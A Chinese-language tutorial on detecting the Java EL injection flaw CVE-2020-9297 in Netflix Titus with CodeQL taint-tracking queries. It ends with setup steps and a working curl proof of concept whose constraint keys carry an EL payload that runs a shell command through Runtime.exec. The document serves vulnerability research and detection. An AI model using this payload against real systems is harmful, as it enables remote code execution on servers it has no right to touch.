使用 CodeQL 挖掘 CVE-2020-9297
字数 970 2025-08-25 22:59:09

CodeQL挖掘CVE-2020-9297漏洞教学文档

漏洞概述

CVE-2020-9297是Netflix Titus中的一个Java EL注入漏洞,位于Java Bean Validation (JSR 380)的自定义约束验证实现中。当使用ConstraintValidatorContext.buildConstraintViolationWithTemplate()渲染报错信息时,如果参数用户可控,攻击者可构造恶意参数触发Java EL表达式执行,导致RCE。

漏洞分析

漏洞代码示例

@Override
public boolean isValid(Container container, ConstraintValidatorContext context) {
    if (container == null) {
        return true;
    }
    Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
    common.retainAll(container.getHardConstraints().keySet());
    if (common.isEmpty()) {
        return true;
    }
    context.buildConstraintViolationWithTemplate(
        "Soft and hard constraints not unique. Shared constraints: " + common
    ).addConstraintViolation().disableDefaultConstraintViolation();
    return false;
}

漏洞成因

  1. container是用户可控参数
  2. container获取的common未经处理直接传递给buildConstraintViolationWithTemplate()
  3. 错误信息中包含用户输入导致EL表达式注入

CodeQL分析

数据流分析配置

Source定义

class TypeConstraintValidator extends Interface {
    TypeConstraintValidator() {
        this.hasQualifiedName("javax.validation", "ConstraintValidator")
    }
    Method getIsValidMethod() {
        result.getDeclaringType() = this and result.hasName("isValid")
    }
}

class ConstraintValidatorIsValidMethod extends Method {
    ConstraintValidatorIsValidMethod() {
        this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
    }
}

class BeanValidationSource extends DataFlow::Node {
    BeanValidationSource() {
        exists(ConstraintValidatorIsValidMethod isValidMethod |
            this.asParameter() = isValidMethod.getParameter(0) 
            and isValidMethod.fromSource()
        )
    }
}

Sink定义

class TypeConstraintValidatorContext extends RefType {
    TypeConstraintValidatorContext() {
        this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
    }
}

class BuildConstraintViolationWithTemplateMethod extends Method {
    BuildConstraintViolationWithTemplateMethod() {
        this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext
        and this.hasName("buildConstraintViolationWithTemplate")
    }
}

class TemplateRenderSink extends DataFlow::Node {
    TemplateRenderSink() {
        exists(MethodAccess ma |
            ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod
            and this.asExpr() = ma.getArgument(0)
        )
    }
}

污点传播规则

需要添加额外的污点传播步骤来处理中间方法调用:

// getter方法传播
class GetterTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(MethodAccess ma |
            (ma.getMethod() instanceof GetterMethod or ma.getMethod().getName().matches("get%"))
            and n1.asExpr() = ma.getQualifier()
            and n2.asExpr() = ma
        )
    }
}

// keySet方法传播
import semmle.code.java.Maps
class MapKeySetCall extends MethodAccess {
    MapKeySetCall() {
        this.getMethod().(MapMethod).getName() = "keySet"
    }
}

class KeySetTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(MapKeySetCall call |
            n1.asExpr() = call.getQualifier()
            and n2.asExpr() = call
        )
    }
}

// HashSet构造函数传播
class HashSetConstructorCall extends Call {
    HashSetConstructorCall() {
        this.(ConstructorCall).getConstructedType().getSourceDeclaration()
            .hasQualifiedName("java.util", "HashSet")
    }
}

class HashSetTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(HashSetConstructorCall call |
            n1.asExpr() = call.getAnArgument()
            and n2.asExpr() = call
        )
    }
}

// retainAll方法传播
import semmle.code.java.Collections
class CollectionRetainAllCall extends MethodAccess {
    CollectionRetainAllCall() {
        this.getMethod().(CollectionMethod).getName() = "retainAll"
    }
}

class CollectionRetainAllTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
        exists(CollectionRetainAllCall ma |
            n1.asExpr() = ma.getAnArgument()
            and n2.asExpr() = ma.getQualifier()
        )
    }
}

完整查询

/**
 * @kind path-problem
 */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph

// 类型和源定义
class TypeConstraintValidator extends Interface {
    TypeConstraintValidator() {
        this.hasQualifiedName("javax.validation", "ConstraintValidator")
    }
    Method getIsValidMethod() {
        result.getDeclaringType() = this and result.hasName("isValid")
    }
}

class ConstraintValidatorIsValidMethod extends Method {
    ConstraintValidatorIsValidMethod() {
        this.overridesOrInstantiates*(any(TypeConstraintValidator t).getIsValidMethod())
    }
}

class BeanValidationSource extends DataFlow::Node {
    BeanValidationSource() {
        exists(ConstraintValidatorIsValidMethod isValidMethod |
            this.asParameter() = isValidMethod.getParameter(0) 
            and isValidMethod.fromSource()
        )
    }
}

// 接收器定义
class TypeConstraintValidatorContext extends RefType {
    TypeConstraintValidatorContext() {
        this.hasQualifiedName("javax.validation", "ConstraintValidatorContext")
    }
}

class BuildConstraintViolationWithTemplateMethod extends Method {
    BuildConstraintViolationWithTemplateMethod() {
        this.getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext
        and this.hasName("buildConstraintViolationWithTemplate")
    }
}

class TemplateRenderSink extends DataFlow::Node {
    TemplateRenderSink() {
        exists(MethodAccess ma |
            ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod
            and this.asExpr() = ma.getArgument(0)
        )
    }
}

// 污点传播配置
class TaintConfig extends TaintTracking::Configuration {
    TaintConfig() { this = "TaintConfig" }
    
    override predicate isSource(DataFlow::Node source) {
        source instanceof BeanValidationSource
    }
    
    override predicate isSink(DataFlow::Node sink) {
        sink instanceof TemplateRenderSink
    }
    
    override int explorationLimit() { result = 4 }
}

// 查询
from TaintConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"

漏洞利用

环境搭建

  1. 下载源码:

    git clone https://github.com/Netflix/titus-control-plane
    cd titus-control-plane
    
  2. 回退到漏洞修复前的commit:

    git reset --hard 8a8bd4c
    
  3. 启动docker:

    docker-compose up -d
    

利用POC

curl --location --request POST 'http://127.0.0.1:7001/api/v3/jobs' \
--header 'Content-Type: application/json' \
--data-raw '{
    "applicationName": "localtest",
    "owner": {
        "teamEmail": "me@me.com"
    },
    "container": {
        "image": {
            "name": "alpine",
            "tag": "latest"
        },
        "entryPoint": [
            "/bin/sleep",
            "1h"
        ],
        "securityProfile": {
            "iamRole": "test-role",
            "securityGroups": [
                "sg-test"
            ]
        },
        "softConstraints": {
            "constraints": {
                "#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
            }
        },
        "hardConstraints": {
            "constraints": {
                "#{#this.class.name.substring(0,5) == '\''com.g'\'' ? '\''FOO'\'' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('\''dG91Y2ggL3RtcC9wd25lZA=='\''))).class.name}": ""
            }
        }
    },
    "batch": {
        "size": 1,
        "runtimeLimitSec": "3600",
        "retryPolicy":{
            "delayed": {
                "delayMs": "1000",
                "retries": 3
            }
        }
    }
}'

POC说明

  1. 通过POST请求访问/api/v3/jobs创建JobDescriptor对象
  2. 程序内部生成的jobDescriptor.container会调用SchedulingConstraintSetValidator.javaisValid方法
  3. 校验失败时,键名作为错误信息通过buildConstraintViolationWithTemplate()输出
  4. 构造的键名包含恶意Java EL表达式,会被执行
  5. dG91Y2ggL3RtcC9wd25lZA==touch /tmp/pwned的base64编码

防御措施

  1. 对用户输入进行严格过滤和转义
  2. 避免直接将用户输入传递给buildConstraintViolationWithTemplate()
  3. 禁用EL表达式处理或使用安全配置

总结

通过CodeQL的污点分析技术,我们可以有效地识别这类Java EL注入漏洞。关键在于:

  1. 正确定义source和sink
  2. 添加必要的额外污点传播步骤
  3. 合理设置探索限制(explorationLimit)
  4. 理解数据在应用程序中的流动路径
CodeQL挖掘CVE-2020-9297漏洞教学文档 漏洞概述 CVE-2020-9297是Netflix Titus中的一个Java EL注入漏洞,位于Java Bean Validation (JSR 380)的自定义约束验证实现中。当使用 ConstraintValidatorContext.buildConstraintViolationWithTemplate() 渲染报错信息时,如果参数用户可控,攻击者可构造恶意参数触发Java EL表达式执行,导致RCE。 漏洞分析 漏洞代码示例 漏洞成因 container 是用户可控参数 从 container 获取的 common 未经处理直接传递给 buildConstraintViolationWithTemplate() 错误信息中包含用户输入导致EL表达式注入 CodeQL分析 数据流分析配置 Source定义 Sink定义 污点传播规则 需要添加额外的污点传播步骤来处理中间方法调用: 完整查询 漏洞利用 环境搭建 下载源码: 回退到漏洞修复前的commit: 启动docker: 利用POC POC说明 通过POST请求访问 /api/v3/jobs 创建 JobDescriptor 对象 程序内部生成的 jobDescriptor.container 会调用 SchedulingConstraintSetValidator.java 的 isValid 方法 校验失败时,键名作为错误信息通过 buildConstraintViolationWithTemplate() 输出 构造的键名包含恶意Java EL表达式,会被执行 dG91Y2ggL3RtcC9wd25lZA== 是 touch /tmp/pwned 的base64编码 防御措施 对用户输入进行严格过滤和转义 避免直接将用户输入传递给 buildConstraintViolationWithTemplate() 禁用EL表达式处理或使用安全配置 总结 通过CodeQL的污点分析技术,我们可以有效地识别这类Java EL注入漏洞。关键在于: 正确定义source和sink 添加必要的额外污点传播步骤 合理设置探索限制(explorationLimit) 理解数据在应用程序中的流动路径